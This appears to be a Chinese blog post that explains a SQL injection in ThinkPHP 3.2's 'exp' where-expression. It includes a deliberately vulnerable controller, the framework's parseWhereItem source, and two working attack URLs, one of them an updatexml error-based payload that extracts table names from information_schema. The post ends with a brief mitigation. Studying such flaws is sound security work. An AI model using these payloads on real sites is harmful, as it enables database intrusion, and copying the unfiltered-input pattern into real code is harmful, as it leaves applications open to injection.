thinkphp3.2数据库操作分享

最新推荐文章于 2023-11-10 11:39:27 发布

qq_42307546

最新推荐文章于 2023-11-10 11:39:27 发布

阅读量511

点赞数

文章标签：数据库 php 开发语言

本文链接：https://blog.csdn.net/qq_42307546/article/details/125668983

版权

<?php
namespace Home\Controller;
use Think\Controller;
class TestController extends Controller {
    public function index(){
        $username = $_GET['username'];
        $data=M('users')->where(array("username"=>$username))->find();
        dump($data);


    }

    public function login(){
        $this->display();
    }

}

exp表达式
http://www.tp.com/index.php/home/Test/index?username[0]=exp&username[1] ==‘admin’
/thinkphp/library/Think/Db/Driver/Driver.class.php

protected function parseWhereItem($key,$val) {
        $whereStr = '';
        if(is_array($val)) {
            if(is_string($val[0])) {
				$exp	=	strtolower($val[0]);
                if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
                    if(is_array($val[1])) {
                        $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';
                        if(in_array($likeLogic,array('AND','OR','XOR'))){
                            $like       =   array();
                            foreach ($val[1] as $item){
                                $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
                            }
                            $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                          
                        }
                    }else{
                        $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                    }
                }elseif('bind' == $exp ){ // 使用表达式
                    $whereStr .= $key.' = :'.$val[1];
                }elseif('exp' == $exp ){ // 使用表达式
                    $whereStr .= $key.' '.$val[1];
                }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
                    if(isset($val[2]) && 'exp'==$val[2]) {
                        $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
                    }else{
                        if(is_string($val[1])) {
                             $val[1] =  explode(',',$val[1]);
                        }
                        $zone      =   implode(',',$this->parseValue($val[1]));
                        $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
                    }
                }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
                    $data = is_string($val[1])? explode(',',$val[1]):$val[1];
                    $whereStr .=  $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
                }else{
                    E(L('_EXPRESS_ERROR_').':'.$val[0]);
                }
            }else {
                $count = count($val);
                $rule  = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ; 
                if(in_array($rule,array('AND','OR','XOR'))) {
                    $count  = $count -1;
                }else{
                    $rule   = 'AND';
                }
                for($i=0;$i<$count;$i++) {
                    $data = is_array($val[$i])?$val[$i][1]:$val[$i];
                    if('exp'==strtolower($val[$i][0])) {
                        $whereStr .= $key.' '.$data.' '.$rule.' ';
                    }else{
                        $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
                    }
                }
                $whereStr = '( '.substr($whereStr,0,-4).' )';
            }
        }else {
            //对字符串类型字段采用模糊匹配
            $likeFields   =   $this->config['db_like_fields'];
            if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
                $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
            }else {
                $whereStr .= $key.' = '.$this->parseValue($val);
            }
        }
        return $whereStr;
    }

$val为array (
0 => ‘exp’,
1 => ‘=‘admin’’,
)

$exp	=	strtolower($val[0]);//$exp就为exp

elseif('exp' == $exp ){ // 使用表达式
                    $whereStr .= $key.' '.$val[1];}//直接将$key和$val拼接到一块赋值给 $whereStr

最后的sql语句为select * from users where username='admin’直接带到了数据库执行并没有经过任何的过滤如果没有使用exp表达式它会经过parseValue过滤
报错注入
http://www.tp.com/index.php/Home/Test/index/?username[0]=exp&username[1]%20==%27admin%27%20and%20(updatexml(1,concat(0x7e,(select%20(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%202,1)),0x7e),1))###

使用l函数就不会发生此类问题